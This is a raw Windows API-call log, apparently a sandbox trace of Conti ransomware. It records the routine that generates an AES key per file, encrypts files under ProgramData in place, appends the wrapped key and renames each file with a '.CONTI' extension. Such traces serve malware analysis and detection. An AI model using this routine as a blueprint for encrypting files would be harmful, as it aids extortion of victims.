	[0103.607] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.office32ww.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.office32ww.msi.16.x-none.xml.conti")) returned 1
	[0103.608] GetProcessHeap () returned 0x1720000
	[0103.608] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa408 | out: hHeap=0x1720000) returned 1
	[0103.608] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0103.608] GetProcessHeap () returned 0x1720000
	[0103.608] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfa10 | out: hHeap=0x1720000) returned 1
	[0103.608] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0103.608] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17c4c70 | out: phKey=0x17c4c70*=0x17c82f0) returned 1
	[0103.608] CryptExportKey (in: hKey=0x17c82f0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4c74, pdwDataLen=0x34ffaac | out: pbData=0x17c4c74*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0103.609] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml")) returned 0x20
	[0103.824] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0103.826] GetLastError () returned 0x0
	[0103.826] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=104560) returned 1
	[0103.826] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x19870
	[0103.826] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.826] SetEndOfFile (hFile=0x37c) returned 1
	[0103.826] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.826] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.827] WriteFile (in: hFile=0x37c, lpBuffer=0x17c4c74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17c4c74*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0103.835] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.835] ReadFile (in: hFile=0x37c, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x19870, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x19870, lpOverlapped=0x0) returned 1
	[0103.836] CryptEncrypt (in: hKey=0x17c82f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x19870, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x19880) returned 1
	[0103.837] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.837] WriteFile (in: hFile=0x37c, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x19880, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x19880, lpOverlapped=0x0) returned 1
	[0103.837] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.837] WriteFile (in: hFile=0x37c, lpBuffer=0x17c4c68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17c4c68*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0103.837] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.837] CloseHandle (hObject=0x37c) returned 1
	[0103.837] GetProcessHeap () returned 0x1720000
	[0103.837] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654df78
	[0103.838] lstrcpyW (in: lpString1=0x654df78, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml"
	[0103.838] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.CONTI"
	[0103.838] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemui.msi.16.en-us.xml.conti")) returned 1
	[0103.839] GetProcessHeap () returned 0x1720000
	[0103.839] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654df78 | out: hHeap=0x1720000) returned 1
	[0103.839] CryptDestroyKey (hKey=0x17c82f0) returned 1
	[0103.839] GetProcessHeap () returned 0x1720000
	[0103.839] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfb00 | out: hHeap=0x1720000) returned 1
	[0103.839] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0104.230] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c82b0) returned 1
	[0104.230] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x34ffaac | out: pbData=0x17d3fac*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0104.230] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml")) returned 0x20
	[0104.234] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.234] GetLastError () returned 0x5
	[0104.234] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0104.234] GetProcessHeap () returned 0x1720000
	[0104.234] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d648 | out: hHeap=0x1720000) returned 1
	[0104.234] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0105.005] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x17c80b0) returned 1
	[0105.005] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x34ffaac | out: pbData=0x17d443c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0105.006] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_normalcritical.rbs")) returned 0x20
	[0105.006] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_NormalCritical.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_normalcritical.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.006] GetLastError () returned 0x5
	[0105.006] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0105.006] GetProcessHeap () returned 0x1720000
	[0105.006] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bf90 | out: hHeap=0x1720000) returned 1
	[0105.006] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0105.424] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17d5f98 | out: phKey=0x17d5f98*=0x17c84f0) returned 1
	[0105.424] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5f9c, pdwDataLen=0x34ffaac | out: pbData=0x17d5f9c*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0105.425] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml")) returned 0x20
	[0105.425] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.425] GetLastError () returned 0x5
	[0105.425] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0105.425] GetProcessHeap () returned 0x1720000
	[0105.425] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb760 | out: hHeap=0x1720000) returned 1
	[0105.425] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0106.373] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x17d58c0 | out: phKey=0x17d58c0*=0x17c8530) returned 1
	[0106.373] CryptExportKey (in: hKey=0x17c8530, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d58c4, pdwDataLen=0x34ffaac | out: pbData=0x17d58c4*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0106.374] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml")) returned 0x20
	[0106.483] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0107.341] GetLastError () returned 0x0
	[0107.341] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=579) returned 1
	[0107.341] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x243
	[0107.341] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.341] SetEndOfFile (hFile=0x394) returned 1
	[0107.342] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.342] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.342] WriteFile (in: hFile=0x394, lpBuffer=0x17d58c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x17d58c4*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0107.344] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.344] ReadFile (in: hFile=0x394, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x243, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x243, lpOverlapped=0x0) returned 1
	[0107.344] CryptEncrypt (in: hKey=0x17c8530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x243, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x250) returned 1
	[0107.344] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.344] WriteFile (in: hFile=0x394, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x250, lpOverlapped=0x0) returned 1
	[0107.344] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.344] WriteFile (in: hFile=0x394, lpBuffer=0x17d58b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x17d58b8*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0107.344] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.344] CloseHandle (hObject=0x394) returned 1
	[0107.344] GetProcessHeap () returned 0x1720000
	[0107.344] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.345] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml"
	[0107.345] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.CONTI"
	[0107.345] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml.conti")) returned 1
	[0107.345] GetProcessHeap () returned 0x1720000
	[0107.345] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.345] CryptDestroyKey (hKey=0x17c8530) returned 1
	[0107.345] GetProcessHeap () returned 0x1720000
	[0107.345] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cc0c0 | out: hHeap=0x1720000) returned 1
	[0107.345] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
	[0108.096] CryptGenKey (in: hProv=0x1733ae8, Algid=0x6610, dwFlags=0x1, phKey=0x6513e40 | out: phKey=0x6513e40*=0x17c82b0) returned 1
	[0108.097] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x173aad0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6513e44, pdwDataLen=0x34ffaac | out: pbData=0x6513e44*, pdwDataLen=0x34ffaac*=0x20c) returned 1
	[0108.100] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.100] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.100] GetLastError () returned 0x0
	[0108.100] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x34ffa58 | out: lpFileSize=0x34ffa58*=708) returned 1
	[0108.100] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c4
	[0108.100] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.100] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.101] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.101] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.101] WriteFile (in: hFile=0x3c4, lpBuffer=0x6513e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x34ffa64, lpOverlapped=0x0 | out: lpBuffer=0x6513e44*, lpNumberOfBytesWritten=0x34ffa64*=0x20c, lpOverlapped=0x0) returned 1
	[0108.102] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.103] ReadFile (in: hFile=0x3c4, lpBuffer=0x5c40000, nNumberOfBytesToRead=0x2c4, lpNumberOfBytesRead=0x34ffa84, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesRead=0x34ffa84*=0x2c4, lpOverlapped=0x0) returned 1
	[0108.103] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2c4, dwBufLen=0x500000 | out: pbData=0x5c40000*, pdwDataLen=0x34ffa7c*=0x2d0) returned 1
	[0108.103] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.103] WriteFile (in: hFile=0x3c4, lpBuffer=0x5c40000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x34ffa98, lpOverlapped=0x0 | out: lpBuffer=0x5c40000*, lpNumberOfBytesWritten=0x34ffa98*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.103] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.103] WriteFile (in: hFile=0x3c4, lpBuffer=0x6513e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x34ffab0, lpOverlapped=0x0 | out: lpBuffer=0x6513e38*, lpNumberOfBytesWritten=0x34ffab0*=0x8, lpOverlapped=0x0) returned 1
	[0108.103] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.103] CloseHandle (hObject=0x3c4) returned 1
	[0108.103] GetProcessHeap () returned 0x1720000
	[0108.103] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.103] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml"
	[0108.103] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.103] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.104] GetProcessHeap () returned 0x1720000
	[0108.104] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.104] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.104] GetProcessHeap () returned 0x1720000
	[0108.104] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0a58 | out: hHeap=0x1720000) returned 1
